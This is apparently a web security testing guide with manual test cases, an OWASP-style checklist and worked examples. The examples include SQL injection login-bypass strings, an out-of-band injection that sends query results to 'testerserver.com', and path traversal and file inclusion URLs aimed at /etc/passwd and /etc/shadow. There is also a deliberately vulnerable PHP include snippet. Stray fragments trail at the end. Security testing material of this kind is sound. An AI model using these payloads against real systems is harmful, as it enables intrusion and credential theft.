Test data to find security vulnerabilities & security testing approach

**Some test cases for security testing**

1. Try to directly access bookmarked web page without login to the system.

2. Verify that system should restrict you to download the file without sign in on the system.

3. Verify that previous accessed pages should not accessible after log out i.e. Sign out and then press the Back button to access the page accessed before.

4. Check the valid and invalid passwords, password rules say cannot be less than 6 characters, user id and password cannot be the same etc.

5. Verified that important i.e. sensitive information such as passwords, ID numbers, credit card numbers, etc should not get displayed in the input box when typing. They should be encrypted and in asterix format.

6 .Check Is bookmarking disabled on secure pages? Bookmarking Should be disabled on secure pages.

7. Check Is Right Click, View, Source disabled? Source code should not be visible to user.

8. Is there an alternative way to access secure pages for browsers under version 3.0, since SSL is not compatible with those browsers?

9. Check does your server lock out an individual who has tried to access your site multiple times with invalid login/password information?

10. Verify the timeout condition, after timeout user should not able to navigate through the site.

11. Check Are you prevented from doing direct searches by editing content in the URL?

12. Verify that relevant information should be written to the log files and that information should be traceable.

13. In SSL verify that the encryption is done correctly and check the integrity of the information.

14. Verify that restricted page should not be accessible by user after session time out.

15. ID / password authentication, the same account on different machines cannot log on at the same time. So at a time only one user can login to the system with a user id.

16. ID / password authentication methods entered the wrong password several times and check if the account gets locked.

17. Add or modify important information (passwords, ID numbers, credit card number, etc.). Check if it gets reflected immediately or caching the old values.

18. Verify that Error Message does not contain malicious info so that hacker will use this information to hack web site.

1. Standard SQL Injection Testing

$username = 1' or '1' = '1

$password = 1' or '1' = '1

The query will be:

SELECT \* FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

2) **Another example of query is the following:**

SELECT \* FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

$username = 1' or '1' = '1'))/\*

$password = foo

Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

[http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/\*&password=foo](http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo)

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/\*

$password = foo

In this way, we create a request like the follow:

[http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/\*&password=foo](http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo)

**Example 3 (simple SELECT statement)**

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

http://www.example.com/product.php?id=10 AND 1=2

SELECT \* FROM products WHERE id\_product=10 AND 1=2

In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:

http://www.example.com/product.php?id=10 AND 1=1

Out of band Exploitation technique

This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists in the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server.

Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

SELECT \* FROM products WHERE id\_product=$id\_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be:

http://www.example.com/product.php?id=10||UTL\_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--

In this example, the tester is concatenating the value 10 with the result of the function UTL\_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close

**Security check list**

Information Gathering

Manually explore the site

Spider/crawl for missed or hidden content

Check for files that expose content, such as robots.txt, sitemap.xml, .DS\_Store

Check the caches of major search engines for publicly accessible sites

Check for differences in content based on User Agent (eg, Mobile sites, access as a Search engine Crawler)

Perform Web Application Fingerprinting

Identify technologies used

Identify user roles

Identify application entry points

Identify client-side code

Identify multiple versions/channels (e.g. web, mobile web, mobile app, web services)

Identify co-hosted and related applications

Identify all hostnames and ports

Identify third-party hosted content

Configuration Management

Check for commonly used application and administrative URLs

Check for old, backup and unreferenced files

Check HTTP methods supported and Cross Site Tracing (XST)

Test file extensions handling

Test for security HTTP headers (e.g. CSP, X-Frame-Options, HSTS)

Test for policies (e.g. Flash, Silverlight, robots)

Test for non-production data in live environment, and vice-versa

Check for sensitive data in client-side code (e.g. API keys, credentials)

Secure Transmission

Check SSL Version, Algorithms, Key length

Check for Digital Certificate Validity (Duration, Signature and CN)

Check credentials only delivered over HTTPS

Check that the login form is delivered over HTTPS

Check session tokens only delivered over HTTPS

Check if HTTP Strict Transport Security (HSTS) in use

Authentication

Test for user enumeration

Test for authentication bypass

Test for brute force protection

Test password quality rules

Test remember me functionality

Test for auto complete on password forms/input

Test password reset and/or recovery

Test password change process

Test CAPTCHA

Test multi factor authentication

Test for logout functionality presence

Test for cache management on HTTP (eg Pragma, Expires, Max-age)

Test for default logins

Test for user-accessible authentication history

Test for out-of channel notification of account lockouts and successful password changes

Test for consistent authentication across applications with shared authentication schema / SSO

Session Management

Establish how session management is handled in the application (eg, tokens in cookies, token in URL)

Check session tokens for cookie flags (httpOnly and secure)

Check session cookie scope (path and domain)

Check session cookie duration (expires and max-age)

Check session termination after a maximum lifetime

Check session termination after relative timeout

Check session termination after logout

Test to see if users can have multiple simultaneous sessions

Test session cookies for randomness

Confirm that new session tokens are issued on login, role change and logout

Test for consistent session management across applications with shared session management

Test for session puzzling

Test for CSRF and clickjacking

Authorization

Test for path traversal

Test for bypassing authorization schema

Test for vertical Access control problems (a.k.a. Privilege Escalation)

Test for horizontal Access control problems (between two users at the same privilege level)

Test for missing authorization

Data Validation

Test for Reflected Cross Site Scripting

Test for Stored Cross Site Scripting

Test for DOM based Cross Site Scripting

Test for Cross Site Flashing

Test for HTML Injection

Test for SQL Injection

Test for LDAP Injection

Test for ORM Injection

Test for XML Injection

Test for XXE Injection

Test for SSI Injection

Test for XPath Injection

Test for XQuery Injection

Test for IMAP/SMTP Injection

Test for Code Injection

Test for Expression Language Injection

Test for Command Injection

Test for Overflow (Stack, Heap and Integer)

Test for Format String

Test for incubated vulnerabilities

Test for HTTP Splitting/Smuggling

Test for HTTP Verb Tampering

Test for Open Redirection

Test for Local File Inclusion

Test for Remote File Inclusion

Compare client-side and server-side validation rules

Test for NoSQL injection

Test for HTTP parameter pollution

Test for auto-binding

Test for Mass Assignment

Test for NULL/Invalid Session Cookie

Business Logic

Test for feature misuse

Test for lack of non-repudiation

Test for trust relationships

Test for integrity of data

Test segregation of duties

Cryptography

Check if data which should be encrypted is not

Check for wrong algorithms usage depending on context

Check for weak algorithms usage

Check for proper use of salting

Check for randomness functions

Risky Functionality - File Uploads

Test that acceptable file types are whitelisted

Test that file size limits, upload frequency and total file counts are defined and are enforced

Test that file contents match the defined file type

Test that all file uploads have Anti-Virus scanning in-place.

Test that unsafe filenames are sanitised

Test that uploaded files are not directly accessible within the web root

Test that uploaded files are not served on the same hostname/port

Test that files and other media are integrated with the authentication and authorisation schemas

Risky Functionality - Card Payment

Test for known vulnerabilities and configuration issues on Web Server and Web Application

Test for default or guessable password

Test for non-production data in live environment, and vice-versa

Test for Injection vulnerabilities

Test for Buffer Overflows

Test for Insecure Cryptographic Storage

Test for Insufficient Transport Layer Protection

Test for Improper Error Handling

Test for all vulnerabilities with a CVSS v2 score > 4.0

Test for Authentication and Authorization issues

Test for CSRF

HTML 5

Test Web Messaging

Test for Web Storage SQL injection

Check CORS implementation

Check Offline Web Application

URL Manipulation

By manipulating certain parts of a URL, a hacker can get a web server to deliver web pages he is not supposed to have access to.

On dynamic websites, parameters are mostly passed via the URL as follows:

http://target/forum/?cat=2

The data present in the URL are automatically created by the site and when navigating normally, a user simply clicks on the links proposed by the website. If a user manually modifies the parameter, he can try different values, for example:

http://target/forum/?cat=6

If the designer has not anticipated this possibility, the hacker may potentially obtain access to an area that is usually protected.

In addition, the hacker can get the site to process an unexpected case, for example:

http://target/forum/?cat=\*\*\*\*\*\*\*\*\*\*\*

In the above example, if the site's designer has not anticipated the case where the data is not a number, the site may enter an unexpected state and reveal information in an error message.

Trial and error

A hacker may possibly test directories and file extensions randomly in order to find important information. Here a few classic examples:

Search for directories making it possible to administer the site:

http://target/admin/

http://target/admin.cgi

Search for a script to reveal information about the remote system:

http://target/phpinfo.php3

Search for backup copies. The .bak extension is generally used and is not interpreted by servers by default, which can cause a script to be displayed:

http://target/.bak

Search for hidden files in the remote system. On UNIX systems, when the site's root directory corresponds to a user's directory, the files created by the system may be accessible via the web:

http://target/.bash\_history

http://target/.htaccess

Directory traversal

So-called directory traversal or path traversal attacks involve modifying the tree structure path in the URL in order to force the server to access unauthorized parts of the site.

In a classic example, the user may be forced to gradually move back through the tree structure, particularly in the event that the resource is not accessible, for example:

http://target/base/test/ascii.php3

http://target/base/test/

http://target/base/

On vulnerable servers, attackers can simply move back through the path with several "../" type strings:

http://target/../../../../directory/file

More advanced attacks encode certain characters:

either in the form of URL encoding:

http://target/..%2F..%2F..%2Fdirectory/file

or with a Unicode notation:

http://target/..%u2216..%u2216directory/file

Many dynamic sites pass the name of pages to be displayed as parameters in a form similar to the following:

http://target/cgi-bin/script.cgi?url=index.htm

If no verifications are carried out, a hacker may modify the URL manually in order to request access to a site resource he does not have direct access to, for example:

http://target/cgi-bin/script.cgi?url=script.cgi

Countermeasures

To secure a web server against URL manipulation attacks, it is necessary to keep a watch on vulnerabilities and regularly apply the patches provided by the web server's publisher.

Moreover, a detailed configuration of the web server helps keep users from surfing on pages they are not supposed to have access to. The web server should therefore be configured as follows:

Prevent the browsing of pages located below the website's root (chroot mechanism);

Disable the display of files present in a directory that does not contain an index file ("Directory Browsing");

Delete useless directories and files (including hidden files);

Make sure the server protects access to directories containing sensitive data;

Delete unnecessary configuration options;

Make sure the server accurately interprets dynamic pages, including backup files (.bak);

Delete unnecessary script interpreters;

Prevent HTTP viewing of HTTPS accessible pages.

Directory traversal

WINDOWS

Root directory: “ <partition letter> : \ “

Directory separator: “ / “ or “ \ ”

Note that windows allows filenames to be followed by extra . \ / characters.

In many operating systems, null bytes %00 can be injected to terminate the filename. For example, sending a parameter like:

?file=secret.doc%00.pdf

will result in the Java application seeing a string that ends with ".pdf" and the operating system will see a file that ends in ".doc". Attackers may use this trick to bypass validation routines.

Examples

Example 1

The following examples show how the application deals with the resources in use.

http://some\_site.com.br/get-files.jsp?file=report.pdf

http://some\_site.com.br/get-page.php?home=aaa.html

http://some\_site.com.br/some-page.asp?page=index.html

In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory.

http://some\_site.com.br/get-files?file=../../../../some dir/some file

http://some\_site.com.br/../../../../some dir/some file

The following URLs show examples of \*NIX password file exploitation.

http://some\_site.com.br/../../../../etc/shadow

http://some\_site.com.br/get-files?file=/etc/passwd

Note: In a windows system an attacker can navigate only in a partition that locates web root while in the Linux he can navigate in the whole disk.

Example 2

It's also possible to include files and scripts located on external website.

http://some\_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php

Example 3

These examples illustrate a case when an attacker made the server show the CGI source code.

http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi

Example 4

This example was extracted from: Wikipedia - Directory Traversal

A typical example of vulnerable application code is:

<?php

$template = 'blue.php';

if ( is\_set( $\_COOKIE['TEMPLATE'] ) )

$template = $\_COOKIE['TEMPLATE'];

include ( "/home/users/phpguru/templates/" . $template );

?>

An attack against this system could be to send the following HTTP request:

GET /vulnerable.php HTTP/1.0

Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Generating a server response such as:

HTTP/1.0 200 OK

Content-Type: text/html

Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh

daemon:\*:1:1::/tmp:

phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

The repeated ../ characters after /home/users/phpguru/templates/ has caused include() to traverse to the root directory, and then include the UNIX password file /etc/passwd.

UNIX etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.

Absolute Path Traversal

The following URLs may be vulnerable to this attack:

http://testsite.com/get.php?f=list

http://testsite.com/get.cgi?f=2

http://testsite.com/get.asp?f=test

An attacker can execute this attack like this:

http://testsite.com/get.php?f=/var/www/html/get.php

http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc

http://testsite.com/get.asp?f=/etc/passwd

When the web server returns information about errors in a web application, it is much easier for the attacker to guess the correct locations (e.g. path to the file with a source code, which then may be displayed).

158

117 – conflict minerls